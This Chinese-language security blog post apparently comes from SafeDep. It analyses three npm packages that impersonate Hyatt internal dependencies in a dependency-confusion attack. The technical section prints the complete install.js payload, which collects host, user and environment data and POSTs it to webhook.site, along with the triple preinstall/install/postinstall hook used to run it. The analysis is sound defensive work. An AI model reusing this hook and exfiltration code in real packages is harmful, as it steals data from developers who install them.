恶意 npm 软件包冒充 Hyatt 内部依赖

目录

概述

三个恶意 npm 包被发现在 npm 仓库中伪装成 Hyatt 内部依赖项,均于 2025 年 10 月 23 日发布。这些包 hyatt-residential-rosterhyatt-albumhyatt-avatar 使用相同的攻击模式和基础设施,表明这是一次针对 Hyatt 内部应用程序的协同攻击活动。

这三个包都使用可疑的版本号 999.999.999,在所有三个 npm 生命周期事件(preinstall、install、postinstall)中执行相同的安装钩子,并声称由"Hyatt IT Security Research"发布,这是一种可能的伪装策略以显得合法。

注意999.999.999 这类高版本号通常被用于利用依赖混淆漏洞。

包名称版本SafeDep 分析
hyatt-residential-roster999.999.999链接
hyatt-album999.999.999链接
hyatt-avatar999.999.999链接

这三个包共享以下可疑指标:

  • 异常版本号999.999.999 - 通常用于测试或占位目的
  • 多个相同的安装钩子:所有三个包在 preinstallinstallpostinstall 生命周期事件期间执行 node install.js
  • 极小的包大小:压缩后 851-897 字节之间,每个包仅包含 3 个文件
  • 相同维护者:由 pkgpusher6[email protected])发布
  • 通用作者归属:均声称由"Hyatt IT Security Research"发布
  • 相同发布日期:均于 2025 年 10 月 23 日发布

技术分析

安装钩子利用

与许多仅使用安装后钩子的恶意包不同,此次攻击活动采用了三重钩子策略:

json
{ "scripts": { "preinstall": "node install.js", "install": "node install.js", "postinstall": "node install.js" } }

这确保恶意有效载荷在安装过程中的多个时间点执行,即使开发者尝试跳过某些生命周期钩子,也能提高成功入侵的可能性。

恶意有效载荷结构

每个包包含三个文件,结构如下:

package.json - 定义三重安装钩子策略:

json
{ "name": "hyatt-album", "version": "999.999.999", "description": "Hyatt album management system - Internal dependency", "main": "index.js", "scripts": { "install": "node install.js", "postinstall": "node install.js", "preinstall": "node install.js" }, "keywords": ["hyatt", "album", "media", "internal"], "author": "Hyatt IT Security Research", "license": "ISC" }

index.js - 最小存根文件(约 67-80 字节),不提供任何实际功能,仅用于使包看起来合法:

javascript
module.exports = function () { console.log('Hyatt Album loaded'); };

install.js - 在安装期间执行的恶意有效载荷(约 823-836 字节):

javascript
const os = require('os'); const { execSync } = require('child_process'); const https = require('https'); console.log('🏨 Hyatt Residential Roster Loading...'); const data = { package: 'hyatt-album', timestamp: new Date().toISOString(), hostname: os.hostname(), platform: os.platform(), uptime: Math.floor(os.uptime()), user: os.userInfo(), env: { hyatt_vars: Object.keys(process.env).filter((k) => k.toLowerCase().includes('hyatt')), node_env: process.env.NODE_ENV, kubernetes: process.env.KUBERNETES_SERVICE_HOST, aws_region: process.env.AWS_REGION, npm_registry: process.env.npm_config_registry, }, }; const req = https.request('https://webhook.site/hyatt', { method: 'POST', headers: { 'Content-Type': 'application/json' }, }); req.write(JSON.stringify(data, null, 2)); req.end();

该代码执行以下恶意操作:

  1. 导入 Node.js 模块:oschild_processhttps
  2. 使用 os 模块方法收集全面的系统信息
  3. 专门针对环境变量以识别应用程序运行的基础设施
  4. 窃取包含关键字 hyatt 的环境变量
  5. 将收集的数据序列化为带美化输出的 JSON 格式
  6. 通过 HTTPS POST 将数据发送到 https://webhook.site/hyatt
  7. 以伪装成加载消息的方式静默执行,不通知用户

向外部服务器泄露数据

所有三个包都包含收集系统信息并将其泄露到 https://webhook.site/hyatt 的代码,以识别应用程序运行的基础设施。收集的数据包括:

  • 系统信息:主机名、平台、运行时间、总内存
  • 用户信息:用户名和来自 os.userInfo() 的用户详情
  • 环境变量:特别针对:
    • 包含'hyatt'的变量
    • NODE_ENV
    • KUBERNETES_SERVICE_HOST(Kubernetes 部署)
    • AWS_REGION(AWS 云环境)
    • npm_config_registry(npm 配置)
  • 包元数据:包名称和安装时间戳
  • 文件系统路径:当前工作目录、主目录

数据泄露通过 HTTPS POST 请求到 webhook.site 进行,这是一个常用于测试 Webhook 的公共服务,使攻击者无需搭建自己的基础设施即可收集数据。

结论

这三个恶意 npm 包的协同攻击活动展示了通过企业包仿冒进行依赖混淆攻击的常见方法。对数据泄露模式的分析表明,攻击者重点关注特定的基础设施指标而非全面的凭据收集,这表明这可能是针对 Hyatt 的特定渗透测试活动。

泄露的数据范围明显有限,仅收集:

  • KUBERNETES_SERVICE_HOST - 指示 Kubernetes 部署环境
  • AWS_REGION - 识别 AWS 云基础设施存在
  • npm_config_registry - 泄露 npm 注册表配置
  • 包含关键字 hyatt 的环境变量

保持安全:了解更多关于 SafeDep 恶意包检测的信息,请访问 safedep.io 或立即试用我们的免费工具 vet

  • vet
  • cloud
  • malware
  • npm

SafeDep 博客最新更新

关注我们获取开源安全与工程方面的最新更新和见解